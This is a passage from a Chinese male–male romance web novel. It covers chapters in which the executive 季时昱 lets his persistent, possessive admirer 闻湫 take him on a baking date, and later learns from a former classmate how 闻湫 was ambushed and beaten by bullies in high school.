如今再看,闻湫家里人不让他来A市上学,他非常执拗的改了志愿并不是讨厌S市,而是遵照小时候的话来A市寻找他。 依照闻家的能力,闻湫想找到他很轻松,但是闻湫没有借用家里的人脉,所以一直没有主动找过他,直到觉醒后,有了岳裎这层人脉,闻湫巧妙地以岳裎表弟的身份来与他相识。 当然,这一切不过是一时的猜测。 时间很晚了,季时昱却提不起一点困意,躺在床上许久没有睡着,后来吃了安眠药才勉强睡了一觉。 次日中午。 季茵从外地回来了,分别交给了季时昱两份文件和一个U盘。 “大哥,这里面是我这些年所知道的部分,我想应该能够帮到你。” 季时昱猜出了什么,拿起文件翻了两页,第一次对季茵的做法感到惊讶,“过年时你还想让我网开一面。” 季茵苦笑:“我不是心疼他,是心疼我妈,季忱打电话跟我说了元宵那天的事,我不能再这么糊涂下去了,他敢动手一次,就会有第二次第三次甚至更多,我不想让我妈受那份苦。” 尹安玥想离婚,但他们很清楚季帆嵘不会同意的,这个婚很大可能离不掉。与其守着随时会发生的家暴过日子,不如早点让季帆嵘受到制裁。 季时昱明白季茵的想法,“这里的证据加上我收集的那些,足够他在里面待一辈子了。” 季茵明显放松了身体,笑得满眼是泪,“大哥,我有时候在想,如果我是你亲妹妹就好了。” 明明没有血缘关系,季时昱永远会护在季茵和季忱前面,季帆嵘曾做过那种事,他对这姐弟俩依旧当亲人来看,从不因为季帆嵘而对他们冷眼相待。 不止季茵遗憾,季忱也遗憾过,无关父母那辈的事,只是心想,如果季时昱是他们的亲哥哥就好了。 可惜,他们之间没有血缘关系. 周六晚上。 季时昱和岳裎在老地方相聚,展绮这几天休息,柳今需也难得有时间,他们四个坐在固定的包厢里,服务生蹲在桌前开着酒。 “我不在的这段时间,你都快被传成已婚人士了,牛还是你牛啊。”展绮对季时昱比了个大拇指。 季时昱今天来得晚,在他来之前,岳裎把这阵子的事一股脑全说了。 他抿了口酒,道:“我是假的,岳裎是真的。” 展绮点点头,对岳裎也竖了个大拇指,“你更牛。” 岳裎第一时间得知,秦家刚接回来的私生子是他忘不掉的前男友,秦家还想把人推出去联姻,他亲自动神去了秦家商量联姻的事,把秦家老爷子惊了半天没反应过来。 这件事过去快一个月了,依然是圈里聚会的谈资,谁见了岳裎都要比个大拇指,还专门在私底下议论岳裎之前的谣言是不是真的。 岳裎懒得管了,现在只想把自己的日子过好。 季时昱很少参与圈内私底下的聚会,暂时没听过这些八卦,自然不知道别人也八卦了他。 这不,几个人喝着酒,柳今需说了从朋友口中听到的桃色八卦。 岳裎那场单身夜派对过后,有人传王二少专门堵过季时昱小男友的车,那之后没两天,王家丢了个至关重要大项目,王总回到家抽出皮带,把儿子直接抽进了医院。 柳今需看着季时昱问:“真的假的啊?” 季时昱知道前面的事,倒是不知道王总怎么教训儿子的,摇了下头,“不清楚。” “你们说的是我认识的那个王二?”岳裎订婚后忙着跟未婚夫亲密,什么场所也没去,应酬都推了几个,哪能听说这些事儿啊。 “不然能是谁,他年前刚拿两千万打发了一个难缠的前任。”柳今需露出嫌恶的表情,“和他关系不错的那几个都脏得要死,据说玩得也脏,幸亏闻湫没在他手里吃亏。” 岳裎脸色难看地骂了声脏话:“我操他大爷的,他当时就坐在我身边,我还警告他别招惹闻湫,结果这孙子压根没把我的话放在心上!” “你少和他们来往。”季时昱眉头紧皱。 他想起王二那天还搂着个女人,没看错的话,女人脖子上有好几道红色的鞭痕,再加上柳今需那些话,令他浑身不适,顿时胃里翻滚,泛起一股强烈的恶心感。 甚至觉得只扣下了王家一个项目真是便宜王二了,不过他也清楚冤有头债有主,用不着因为王二牵连到整个王家。 岳裎晦气道:“我没和他们来往,他们自己非要坐在我身边,我最后的单身夜呢,就想着玩了,哪会意识到这群人是什么货色。” 展绮啧了声,“你没跟他们说闻湫是什么人?” “我告诉他们,闻湫是我表弟,让他们别去招惹,王二倒好,转头把我的话抛在身后了,真是个精虫上脑的恶心玩意儿!” 岳裎偶尔会出去和圈里人聚在一起,但他去的都是正常聚会,没人玩那么脏。 “不说这个了,越听越恶心,我下次见了王二怎么着都要教训他一顿。”岳裎摆了摆手,不想再继续这种话题。 柳今需推了下眼镜,“明天有时间吗,不如喊上秦笛一起出来吃顿饭。” 展绮:“我都OK,这周休息。” 岳裎:“那就明天?” “明天有约,你们聚你们的,我下次有时间再和你们单独聚。”季时昱对岳裎说。 “有约?”岳裎意味深长地笑了:“大周末的和谁有约啊?” “闻湫。” 季时昱大大方方的道出名字,不认为这有什么好隐瞒的。 柳今需神情微滞,接受良好。 展绮大吃一惊。 岳裎猜到了是谁,没料到季时昱会直截了当地说出来。 包厢里静了一瞬,岳裎和柳今需对视一眼,开好酒的服务生默默离开。 展绮放下酒杯,诧异问:“你和他发展到哪步了?” 季时昱淡声道:“他在追我。” 第34章 狼耳男仆 我是你的乖狗狗啊 岳裎半个身子凑过去, 满眼审视:“所以你们还没有在一起,就要约会了?” 季时昱抿了抿嘴,没有把闻湫缠人的情况说出来,只道:“他想要个机会, 我给他了。” “他要你就给, 季总这么好说话。”展绮笑得意味深长。 岳裎:“确实, 换成其他人,你指定让他见不到你。” 季时昱嘴唇微张,一个字没能说出来。 他该怎么说呢,就算躲起来, 闻湫也会想办法出现在他面前, 别人打发两句就转身走了。 闻湫……算不上死缠烂打, 但他会钻各种缝子。 他不是喜欢背地里说别人坏话的人, 况且闻湫那些小机灵也不坏,顶多是黏人, 换着花样的黏上来, 一旦他不给出反应,闻湫就开始各种撒娇装可怜,季时昱没碰到过这样的人。 展绮问岳裎:“你呢, 跟家里人的关系缓和了吗?” 岳裎和秦笛订婚后,岳家瞧着是没怎么样,但岳裎父母包括老爷子都在跟岳裎生闷气呢。岳家是体面人, 不会在其他人面前闹得太难看,会给秦笛该有的脸面, 于是这份气单方面撒在了岳裎身上。 岳裎饮下小半杯酒,轻叹一声:“日子久了就习惯了。” 他们喝到深夜两点多,包厢里没外人, 季时昱多喝了几杯,最后烂醉如泥走不了路,是司机扶着他上了车,才坐进车里,车外响起一道声音。 “哥哥,你怎么又在其他人面前喝那么多,这样不好。” 随着那道声音越来越近,车旁的司机疑惑问:“小闻助理,你怎么在这儿?” “赵哥,我和朋友来这边玩,看到了你们的车,过来打声招呼。” 闻湫来到车旁,看见了醉到睁不开眼的季时昱,车中昏暗看不清脸色,唯有领口那抹白极其亮眼。 半小时前,季时昱在包厢里有点热,伸手松了松领带,上面衣扣解开了两颗。 闻湫眯了下眸子,意识到有其他人也看到过季时昱这副模样,一丝阴凉的寒意从眼底划过,转瞬即逝。 他笑着问:“哥哥,你喝醉了吗?” 季时昱听出了闻湫的声音,不似愉悦的笑,倒像是生气了,他醉得无法思考,想不通为什么会生气,被酒润到泛红的唇瓣微张,说了句不明不白的话。 “你又有了什么歪心思?” 他声音沙哑,因为酒精的缘故,喘气喘的有些粗。 司机站在一旁感到尴尬,不动声色地往后面走,好给他们腾出单独聊的空间。 闻湫有点伤心,“哥哥怎么能把我想那么坏,我明明是担心你,你都不知道你喝醉后有多好……说话。” 季时昱闭上眼,头转到一侧不看他,“我是醉了不是糊涂了,你骗不了我,我知道你现在存了什么心思。” “哦?真的吗?”闻湫逐步逼近,抬起右腿踏进车里,上半身俯身压下,离季时昱特别近,目光如阴湿冰凉的蛇信子肆意在脖颈上扫动,哼笑了声,“哥哥不妨说说我现在存了什么心思。” 声音就在耳畔,陌生温热的呼吸打在颈侧,季时昱睫毛颤了颤,转过头来,伸手攥住了闻湫的衣领,将他整个人往自己这边拉得更近。 他们的脸几乎要贴在一起,交织缠绕的呼吸无故增添了几分暧昧,有道呼吸明显加重,本就炙热的眼神像团难以熄灭的烈火。 季时昱弯唇笑了,“你知道你现在像什么吗?” 闻湫喉结微动,眼神晦涩,“什么?” “像小狗看到了出差回家的主人,因为久久得不到主人的抚摸而感到焦渴,却不敢轻举妄动,只能眼巴巴地等待主人的亲近。”季时昱松开了他的衣领,笑意收敛,“是不是啊,小狗狗?” 闻湫抓起季时昱的手贴在自己脸上,委屈道:“哥哥,不要叫我小狗狗,我是你的乖狗狗啊。” “那就乖乖听我的话,你先下车,让司机送我回家休息。”季时昱嗓音淡下来,困得不想再思考其他事了。 闻湫深呼吸,兴奋到眼尾猩红,咬牙极力忍耐身体里的冲动,点了下头,声音沙哑:“好,我听哥哥的话,但你明天醒来不准放我鸽子。” 季时昱闭上眼,“嗯。” 闻湫不情不愿地下了车,去后面喊司机。 司机没多问,规规矩矩上了车,随后开车带季时昱离开。 他们走后不久,一辆车悄然跟在了他们身后。 闻湫很热,为了缓解那股冲动,特意将车窗打开,冷飕飕的风刮在脸上,让他躁热的身躯慢慢冷静了下来。 当前面的车辆停下,他关了车灯,坐在车里看着司机把季时昱送进了别墅。 等前面的车再次离开,闻湫把车停在别墅附近,开车门下来,抬头盯着上面亮着灯的窗户看,眸底被惊人的欲望充斥。 不多时,季时昱走到了窗户前,往他所在的方向看了眼,而后淡定转身,拉上了窗帘,所有的一切都被厚重的窗帘遮挡,只剩下一片暖色的灯光。 闻湫嘴角扬起,冷风逼退的燥热再次席卷而来。 又被发现了呢。 “哥哥,晚安。” 夜里下了场小雨,持续到凌晨天微亮才停下,窗外的空气潮湿寒冷,玻璃上淋了许多水珠,由于太过寒冷,屋里那层玻璃覆盖了一层模糊的雾气。 季时昱拉开了窗帘,往下看,昨夜守在楼下的人早已消失。 他背过身靠着窗台,无奈摇了摇头,回想起昨晚的事,不得不承认自己醉酒后容易犯糊涂,这或许就是闻湫口中的好说话吧。 怎么就说出了那些话呢。 季时昱转回身,看到前面开来了一辆车,最终停在了他家楼下。 因为窗户上有水珠和雾气,再加上季时昱穿了浅色系的睡衣,闻湫没有看到他,拿手机打了个电话。 季时昱接通。 “哥哥,我到了,你什么时候下来啊?” 他们之前说好的,季时昱给地址,闻湫再来接,昨晚到现在,季时昱没有给出地址,闻湫能找到这儿来,明摆着不掩饰他昨晚跟着季时昱回来的事。 季时昱伸出手,手指在玻璃上擦出一道清晰的痕迹,道:“二十分钟,等不了可以先走。” 闻湫站在楼下,面上毫无愉悦的表情,声音却含笑:“哥哥,你太小瞧我对你的耐心了。” 是吗? 季时昱在心里这么想,嘴上说:“你慢慢等,挂了。” 挂断电话,他看到楼下的人打开车门坐进了车里。 季时昱洗漱好换了衣服,没吃早饭,喝了杯温开水,出门后看到闻湫抱着一捧娇艳的玫瑰花站在他家门前。 他走到门前,打开一个盒子,指腹贴着指纹锁按下去,四米高的铁门缓缓向两边打开。 “哥哥,上午好。” 闻湫走到他面前,把玫瑰递过去。 季时昱没接,“我不喜欢花,以后别送了。” 闻湫:“好,那你喜欢什么?” 季时昱:“喜欢清净。” 闻湫蹙眉诉说不满:“哥哥,你这不还是防着我嘛,不可以这样说。” “实话罢了。”季时昱走到副驾前,打开了车门坐进去。 闻湫紧跟着坐进车里,很随意的将那捧玫瑰扔到后座,而后拿出一个牛皮纸袋,递到季时昱面前。 “你只让我等了二十分钟,肯定没吃早饭,这是我亲手做的。” 季时昱接下,从里面拿出一个盒子,手指掰着边缘打开,里面是散发着蛋香味的三明治,被鸡蛋浸过的吐司煎得两面金黄,里面夹了午餐肉和球生菜,吐司里侧涂了特制的酱汁。 他尝了一口,味道很不错,能吃出是闻湫亲手做的,还散发着温热,吃急了也不会烫嘴。 他空出一只手拉着安全带扣上,问:“你想带我去哪儿?” “你不喜欢人多的公共场合,我们去人少的地方。”闻湫没说去哪儿,握着方向盘倒车转弯,随后用导航定位了一家非常小众的自由烘焙店。 季时昱看到最终地点,不解问道:“去这种地方做什么?” “做蛋糕啊,哥哥你不是喜欢吃甜的吗,我可以做给你吃,而且她家有单独的房间,可以自由使用材料和工具。”闻湫已经开始想象大展身手的模样了。 季时昱喜欢吃微微甜的,平时吃饭都要挂点儿甜口,他的口味完全不像A市人,但也不会吃太甜太腻的食物。 他否认了口味问题,“我没说过我喜欢吃甜的。” “我会把控好量,不会很甜,”闻湫想到网上描述的情况,笑道:“哥哥你忘了吗,在国外那几天,我每天都做饭给你吃,你不是很喜欢吃嘛。” 季时昱默认了他的话。 到了地方,他懂了闻湫的想法。 这里提供干净崭新的男女仆装,什么颜色和号码都有,布料很好,上面有股淡淡的清香,特别好闻。 交过钱便可拿衣服去试衣间换上,店员会带领客人去楼上单独的烘焙间,所有的工具都是高温消过毒的。 没有时间限制,但是有监控,为了确认客人不在这里乱搞,房间里贴满了各种警告。 结束后可以带走身上穿的服装,这一切都包含在一开始的费用里。 “……” 季时昱听店员介绍完,站在柜台前没动。 “哥哥,你反悔了吗?”闻湫咬了下嘴巴,“我都给过钱了,不给退的,这是我这个月最后的零花钱了,我电脑坏了都没舍得买,而且我……” 季时昱打断他:“你去换衣服。” 闻湫笑着点头:“嗯嗯,哥哥你可以先去楼上等我。” 闻湫和店员去里面挑选合身的衣服。 另一位店员带季时昱去楼上的房间,装修偏奶油风,这家店四周围绕着淡淡的香甜奶油味,对于爱好轻微偏甜的季时昱来说,这股味道很诱人。 屋里的沙发上铺了新的毯子,店员特意强调不可以在这里做太出格的事情,还说房间里安装了五个不同角度的监控。 季时昱:“……” 他在屋里等了十分钟左右,屋里的门再次推开,穿了身男仆装的闻湫害羞走了进来。 闻湫穿得是最经典的黑白配色,头上戴了对狼耳,乍一看有些像狗耳朵,身躯高大且宽肩窄腰,腰部往下的裙摆稍微蓬起来一点,裙摆遮住了小腿部分,下面穿了双黑色中腰靴子。 他肩膀宽,又太高了,这么穿不会显得纤弱,反而能从他身上看出一股力量感。 “哥哥,这么穿是不是很奇怪?”闻湫眼里含着荡漾的水色。 【第一次勾引哥哥,好害羞啊。】 烘焙房是一个40平房间,门窗关闭,自然会听到心声。 季时昱无视他抛来的眼神,“是很奇怪,换回来吧。” 特别奇怪,不是说不好看,反正……就是很怪,也可能是听到勾引那俩字不太习惯。 “这样么。”闻湫愁得揪着自己头发,顺便握着狼耳捏了两下,“但是我已经穿过了,老板不退不换,我那件衣服不小心沾了水,还在烘干机里,哥哥你忍耐一下好不好。” 【肯定是好看的,哥哥最喜欢口是心非了。】 季时昱撇开目光,“做蛋糕吧。” 闻湫撸起衣袖,自信道:“好,我一定会让你满意的。” 【我专门请了位烘焙老师学了三天,绝不可能翻车。】 季时昱不懂烘焙,全程看闻湫操作,偶尔打下手。 看别人做蛋糕的过程比较治愈,尤其是打奶油的部分,高频率打蛋器嗡嗡作响,淡奶油慢慢变得丝滑浓稠,直到立起合适的倒三角状。 闻湫动作熟练,期间不忘问季时昱喜欢吃什么水果,这里的水果不齐全,但是里面全是季时昱说出口的名字。 他看着闻湫拿出那些水果,明白了这一切都是闻湫预谋好的。 后面没有一直待在旁边围观,闻湫在尝试做其他甜品。季时昱打开了电视机,里面播放着同性题材的爱情电影,他换了频道,发现全是这类电影,干脆选中了剧情比较平淡的一部。 【啧,都说把电视撤了,怎么没做到啊,哥哥看了电视还怎么看我啊。】 闻湫对于季时昱看电视不看他的行为,表现出巨大的异议。 【好想砸了这破电视,电视哪有我好看。我能讨哥哥欢心,这破电视能干什么。】 季时昱对爱情电影没兴趣,本打算关掉电视,听到这句话,顿了片刻,将遥控器放到了一旁。 表面是在看电视,实则在关注闻湫的心声。 【不要看别人,多看看我不好嘛,我那么好看,为什么不看我。】 季时昱发现闻湫朝这边看过来,及时转头盯着电视屏幕里的演员。 【我比他高比他帅,连厨艺都比他好,哥哥为什么要看他。】 【气死我了,看来哥哥真不喜欢这身衣服,我下次该穿什么勾引他,他到底喜欢什么啊!】 随着吐槽的心声,房间里弥漫出诱人的香甜味儿。 【不生气不生气,我要乖乖的,这个世界上没人比我更听哥哥的话了。】 【呜……为什么不看我。】 “闻湫。”季时昱打断闻湫的胡思乱想,看向他,说:“你走神了。” “嗯?”闻湫回头,脸蛋上沾了点面粉,表情无辜,“没有走神啊。” 【幸好我刚才往脸上抹了点面粉,店长说好多人都靠这招成功了,我肯定也行。】 季时昱看着他掩饰出来的发懵神情,搭在膝盖的手指微动,冷静道:“烤箱好了。” “……哦”闻湫走到烤箱旁。 【算了,冷淡点挺好的,杜绝了其他人接近的可能,我只能努努力了。】 闻湫就这么把自己哄好了,到后面虽然还在不满抱怨,好歹没刚才那么大的怨气了。 过了一会儿,闻湫端着精致的餐盘放到茶几桌上,“哥哥,你尝尝。” 季时昱拿起餐叉,尝了口蛋糕。 不怎么甜,口感绵密,奶油入口即化,整体很不错。 闻湫脸上还粘着面粉,狼耳头箍嫌不舒服早摘了,头顶翘起呆毛,期待看向他,问:“怎么样,好不好吃?” 他给出心底最真实的评价,“不错。” 闻湫:“我烤点不怎么甜的饼干包装起来,你带回家怎么样?” 季时昱:“不用,我不爱吃零食。” 闻湫无视他的拒绝,说:“你早上经常不吃饭,我给你烤点吐司怎么样?” 季时昱眼皮微抬,看向对面的人。 “你想吃什么,我都会做,或者我住在你家,每天帮你煮饭好不好?”闻湫说这话时,眼睛又亮了一个度。 季时昱:“你要是不听话,就没有下次约会了。” 那一瞬间,闻湫眼神暗淡下去,“我听话的,你都不想吃是吗,那我不做了。” 【想勾引哥哥好难啊。】 他们离开时,店员将闻湫做的甜品使用包装盒包装起来,放进纸袋里递过去,“欢迎二位下次光临。” 已经中午了,闻湫问季时昱想吃什么。 “说了你来安排,不用问我。”季时昱刚吃过一些甜品,现在没有想吃的。 闻湫认真想了一下,带季时昱去了一家菜馆。 从外面看着平平无奇,进去后仿佛穿进古代,古色古香的装修别有一番韵味,服务员男女都穿着马面裙,店里的氛围很好。 二楼有雅间,雅间内摆放了泡茶的器具,边上还有一把古琴,可以选择点人来泡茶抚琴,最主要的是隔音好,适合谈生意。 季时昱和合作商来过这里几次,知道这家味道不错,点菜时没有任何犹豫。 站在一旁的服务员认得他,笑道:“季先生,上次谢谢您帮我解围。” 季时昱看了服务员一眼,实在没什么印象,便没吭声。 服务员看出了他的陌生,小声说:“可能对您来说只是举手之劳,但对我来说却保住了一份至关重要的工作。请问可以加个联系方式吗?我想哪天请您吃顿饭。” 闻湫两手托着下巴看向服务员,眸底浮现出几分阴戾,笑了一声,“你话好多啊。” 第35章 想藏起来 我以为你又要躲着我了 雅间内另一位正在摆放餐具的服务员看了同事一眼, 低下头默默做事。 搭话的男服务员脸色微变,连忙道歉:“抱歉,可我真的没有恶意,我妹妹在医院需要手术费, 这家开的工资较高, 我不能失去这份工作。” “那天是季先生保下了我, 我实在太高兴了才说那么多,如果冒犯到二位,我可以道歉,希望您不要去经理那投诉我。” 他说着, 抬眼瞧着季时昱, 小心翼翼道:“我从没遇到过像季先生这么好的人。” 他长相清秀, 声音温温柔柔的。 闻湫莫名嗅到一股熟悉的茶味儿, 弯起的唇角弧度彻底消失,盯着服务员的眸子冷冰冰的, 像是淬了毒。 服务员再三提起那天的事, 季时昱终于有了点印象,说:“你应该感谢的是当时和我一起用餐的人,是他找了你们经理不必追究, 我只是在旁边看着。” 那天是和一位合作商来的,他们出去时碰到经理在训斥服务员,合作商想到了𝔀.𝓵上学时在餐厅打工被经理刁难的事情, 上前替服务员说了句好话,经理这才没揪着不放。 季时昱对别人的经历不感兴趣, 那时候站在那里多看了几眼,依稀记得经理瞧见他后,笑着和他说不会追究服务员的责任。 他不知道的是, 正是因为经理对他的讨好,让服务员只记住了他的长相和姓氏,完全把另一个真正为自己解围的客人抛在脑后。 服务员见季时昱不为所动,表情变得慌张,道:“我后来没见过他,只见到了您,所以我才……” 季时昱:“我来这里是吃饭的,你话太多了。” 服务员羞愧低头,“对不起,是我多嘴了。” 正巧他同事拉了他一下,他跟着同事一起出去了。 雅间的门关上,屋里并未安静下来。 【啧,哥哥好受欢迎啊,真想变成挂件每天待在他身上。】 【想永远盯着他,任何人都别妄想接近他,他是我一个人的。】 闻湫不满道:“哥哥,你看他怎么这样啊,明知道你是来吃饭的,还要在这里说个没完,太没有眼色了。” 季时昱看他一眼,懒得说这些事。 闻湫也不吭声了。 【唉,哥哥太好看了,好想把他藏起来,藏在一个只有我一个人能看到的地方。】 【到时候我和哥哥一起待在那里,谁都找不到我们,没有人可以打扰我们独处。】 季时昱听过闻湫太多见不得人的小心思,这点算不得什么,左耳进右耳出,根本不当回事儿。 饭后已经是下午两点多了。 闻湫询问季时昱有没有想去的地方。 “送我回去休息。”季时昱明天要去公司,不想一整天待在外面耗费精力。 闻湫没再纠缠,听话点点脑袋。 【哥哥给过机会了,再得寸进尺不好。】 季时昱难得认同他的话。 【就算被拆穿了,也不能忘记伪装乖乖男,谁让哥哥好这口呢。】 季时昱收回刚才的认同。 闻湫愉悦幻想着未来的规划,殊不知内心想法早被听了个干净。 周一上午。 季时昱九点半和关秘书乘坐飞机飞往G市,三小时左右的航班,下了飞机坐上了来接机的车。 关秘书坐在副驾,正在和A市的安秘书交接工作。 季时昱看着腿上的笔记本电脑,偶尔会叮嘱关秘书一些事情。 他们在飞机上用过餐了,直接去了与合作商约定好的地点。 谈判拉长到三个小时,季时昱全程手机静音,关秘书收到了闻湫的消息。 【关哥,你和季总去哪里出差了?】 关秘书抬头看一眼周围,迅速给闻湫回了消息,关掉手机专心做自己的事。 这场合作谈得不是特别顺利,好在结果能够让双方都满意。 对方是位六十多岁的老先生,是季氏长久的合作伙伴,原本是他要飞去A市,前阵子腿脚受伤导致他不方便出行,变成了季时昱来G市找他谈。 老先生条件多,要求极为犀利,整场谈判下来,他看季时昱的目光带着欣赏,“你比你爸和你叔叔都要优秀,季家出了你这样的人物,季老哥也不怕季氏后继无人了。” 季时昱看了眼亮屏的手机,谦逊道:“您过奖了。” “不用谦虚,你丝毫不逊色于季老哥年轻的时候,”老先生对身后的助理招了下手,对季时昱说:“我该走了,家里还有人等我吃饭。” 季时昱起身将人送到门口。 人走后,关秘书走过来说了闻湫的事。 “他问我在哪儿,我只说了G市,其他的没说。”关秘书突然想起什么,说:“您弟弟也问了这个问题,我给出了一样的答案。” 季时昱颔首:“嗯。” 季时昱晚点在G市有约,关秘书则是要赶航班飞回A市,他们出去后就分开而行了。 季茵一开始和季帆嵘待在K市,自从把季帆嵘犯罪的证据交给季时昱之后,她从K市那边的分部离职,不顾老爷子的劝阻单独来G市找工作。 季茵占有季氏的股份,每年有一笔数额不小的分红,她毕业后一直在专心工作。 晚上。 季时昱来到和季茵约好的店,他们没有单独开包间,而是选了个店里靠窗的位置坐下。 季茵来这里吃过一次,知道什么好吃,上来点了三个菜,随后把菜单递给季时昱,“大哥,你看看有没有要吃的。” 季时昱接过,随意加了两道菜。 季茵笑着说起了季忱的事,这是她唯一能想起的不怎么压抑的话题。 服务员走过来给他们倒水。 兄妹俩正聊着,季时昱接到了闻湫的电话。 季茵见状,闭上嘴巴,拿着手机刷娱乐软件。 “哥哥,你出差怎么不告诉我,我去公司找你,安秘书说你不在,我以为你又要躲着我,差点难受哭了。”闻湫声线沙沙的,像是哭过,“你下次出差能不能和我说一声,好让我做个心理准备。” 季时昱拧眉,“闻湫,我只是出差而已。” 啪嗒—— 正在倒水的服务员手抖了下,热水淋到手指,一时之间没能拿稳水杯,玻璃杯子掉在纯木桌上,好在稳稳站住,但里面的水不可避免的溅了出来。 季时昱抬眼。 季茵放下手机,“没事吧?” 服务员仿佛傻掉了一样,呆愣愣的维持着倒茶的姿势,整个人一动不动。 “你怎么了?”季茵伸手在他眼前晃了晃。 季时昱皱着眉,缓和了语气对闻湫说:“下次提前告诉你,先挂了,你乖点儿。” 闻湫轻易被安抚好了,轻嗯一声:“我会乖的,哥哥你挂电话吧。” 季时昱挂了电话,放下手机看着还没回神的服务员,眸底划过深思。 季茵推了服务员一下,“这位小哥,你没事吧?” 小哥猛然回神,连忙道歉:”对不起对不起,我走神了,真是对不起,希望二位不要放在心上。” 他抽了纸巾擦干净桌上的水,接着倒水,频繁用余光偷看季时昱。 季茵觉得有哪里不对。 “认识闻湫?”季时昱出声问。 服务员放下玻璃水壶,拘谨道:“高中有个叫闻湫的同学,不确定跟您电话里的是不是一个人,您不用放在心上。” 季时昱捕捉到他眼底的纠结,眼皮微垂,沉思少顷,试探着问:“高二那年发生了什么?” 服务员肩膀颤了下,惊恐抬起头。 季茵面露疑惑,坐在对面一声不吭。 四十分钟后。 吃好饭的季茵先行离开,季时昱坐在车里等服务员下班。他抬腕看了眼时间,还有一个小时。 闻湫发消息询问他下周末有没有时间,他没有回。 【哥哥,你在忙吗?】 季时昱打开电脑处理了一些事情。 一个小时过去,刚才的服务员换回了正常私服,走到季时昱车前,不确定地看了两眼,忐忑拉开了车门。 前面的司机知道他们有事要谈,下去等着了。 “先生。” 来人坐进来,他同样十九岁,早就不上学了。 “你叫什么?”季时昱问他。 “杨熙。” 杨熙长相普通,身上带浓重的油烟味儿,有点自卑,说话时低着头,声音小的让人难以听清。 季时昱右手握着手机,左手捏着漂亮的糖纸搭在打开的车窗前,他嘴里含着颗硬糖果,微微的甜味儿在口中蔓延,紧皱的眉头有所松动。 他用舌尖顶了下口中的糖果,若有所思道:“你听到闻湫的名字后,明显不对劲,愣了快一分钟,你做过什么对不起他的事?” 杨熙艰涩道:“我实话告诉你,你不要暴露我在这里,可以吗?” 季时昱偏头看向他:“你害怕闻湫?” 杨熙头低的更甚,说:“我怕他,也对不起他,但是我那时候实在没办法了,我不听那些人的话,他们就要群殴我,我……” “从头开始讲,完完整整讲出来。”季时昱没那么多时间听他讲一段不明不白的故事。 杨熙伸手抹泪,“高一开学起,闻湫就备受老师和同学的关注,尤其是女同学,好多人给他递情书告白,年纪里有几个混混看上的女孩也给闻湫递了情书,他们看不惯闻湫,想让我把闻湫引到操场后面的器材室里教训一顿。” “我不想,可他们人多威胁我,他们说,只要我帮他们办成了这件事,以后再也不会找我麻烦了,我当时被这话冲昏了头,找了个理由把闻湫骗去了器材室。” 季时昱眼神泛凉,“怎么骗的?” 杨熙:“我是班长,我告诉他老师让我找个人,帮忙把器材室发潮的柜子搬出来晾晒一下,那时候晚自习刚下课,大家都走了,班里只剩下闻湫一个人在睡觉,他没怀疑我,就跟我去了器材室。” “他们让我在外面守门,我没有想到他们打那么狠,在外面听着就害怕,我想进去看,又怕他们连我也一起打,我在外面守着,直到里面真出了事才跑进去。” “闻湫被打的爬不起来,他们身上都有伤,最严重的一个被闻湫反抗时推倒,撞到了没合上的柜门角,后脑勺破了,全是血,他们的老大连忙打了120,事情就这样暴露了。” 季时昱眉头紧锁。 若是因为这件事,闻湫为什么要休学一年,还被家里人那样对待? 杨熙:“闻湫的爸妈来了医院,那几个人一口咬死是闻湫单方面欺负他们,他们只是在正当防卫。闻家想调查事情的经过,可是器材室里没有监控,调查不出他们谁先动的手,被推倒的那个人情况有点严重,他家里人在医院不停的大喊大叫。闻家为了息事宁人,花了很多钱来捂嘴,那几家人拿着钱离开了S市,这件事从头到尾没有几个人知道。” 季时昱:“你为什么不出来作证?” “我、我不敢,你不知道他们把闻湫打的有多惨,我不敢得罪他们,我怕我会成为第二个闻湫,”杨熙捂着脸,哭诉道:“他们都走了,我也不敢留在S市,恳求我爸妈带我离开S市,我们一家搬了好几个城市,四处奔波了快一年才在G市定居。” “我这些年很痛苦,我去年回过S市,我想跟闻家说清楚一切,可是我联系不到他们,我去公司找,前台拦着我不让我进,我让前台帮忙转告闻湫的父亲,等了好久都没有任何音讯。” “闻家不见我,我想找闻湫道歉,但是他转学了,我找不到他,以前的同学跟闻湫都没了联系,我在那里待了一整个暑假也没见到人,最终还是回来了。” 季时昱心情复杂。 闻家想查,就一定能查到。问题是他们没有报警,没有找人查,反而花钱平息这件事,究竟是默认了闻湫就是这么坏的人,还是真不关心自己的儿子? 他明白这其中还有他不知道的,这些事或许只能从闻家和闻湫身上得到答案。 “你既然想过找闻湫道歉,为什么现在会害怕他知道你在哪儿。”季时昱冷眼看着杨熙,眼中带着自己都没有察觉的厌恶。 杨熙痛苦摇头:“我又不敢了,我没脸见他,怕他报警抓我。” 车里只剩下杨熙的哭泣声,吸鼻子的声音吵得季时昱莫名烦躁。 报警就能解决的事,闻家非要花钱息事。杨熙有机会站出来说出真相,却因为怕被打而选择了逃避,最终后悔到现在。 打人的混混拿了一大笔钱走了,帮凶暗中躲了起来。 那闻湫呢? 从头到尾被欺负的闻湫,凭什么要接受这样不公平的结果? 他挨了打,住了院,被迫承受莫须有的污名,还要被家里人以那种态度对待。他身为一个受害者,连他父母都不为他主持公平。 高二那年的闻湫还没有成年,一个没成年的孩子经历这些,怪不得对闻家存有怨恨,怪不得他对回家过年的事那么反感。 季时昱开始后悔年前劝闻湫回去的事。 回那种家除了受罪还能干什么? 季时昱用力捶了皮座椅,动静大到让杨熙浑身一颤,连忙捂着嘴巴挡住所有哭声。 季时昱深吸一口气,冷静了许多,说:“你走吧。” 杨熙:“那、那你会……” 季时昱:“暂时不会。” 他来G市出差而已,谁能料到会误打误撞得知这种事,闻湫肯定也想不到,况且闻湫不提,他没办法开口。 杨熙哽咽着说了声谢谢,打开车门迅速下去跑开了。 季时昱维持着原来的姿势待在车里,许久没有任何动作。 车窗没有关,外面的冷风灌进来,吹得左手冰凉,身上感受不到丝毫暖意。 他晚上回到酒店,手机里躺着一条闻湫两分钟前发来的消息。 【还没有忙完嘛。】 季时昱坐在床边看了会儿,摘下眼镜放到床头柜,身体后仰平躺在床上,手里的手机又响了声,他拿起查看。 【哥哥,理理我。】 他抬起胳膊,手指慢慢在屏幕上打字。 【刚忙完,要休息了。】 季时昱回过消息,将手机调成静音放床上,闭上眼睛,手臂搭在眼部遮挡着光。 闭眼休息了一会儿,困意逐渐袭上来,他脱了外套,解着领带推开了浴室的门. 一晃几天过去,周五下午,闻湫去了季氏。 季时昱听到关秘书的汇报,头都没抬一下,“不用拦着,让他进来。” 拦着没用,闻湫会找其他方法见他,说不定还会滋生一些阴暗偏激的想法,哪怕不会真正行动,可是那种想法在脑子里驻扎久了,容易被洗脑,说不定哪天就冲动了。 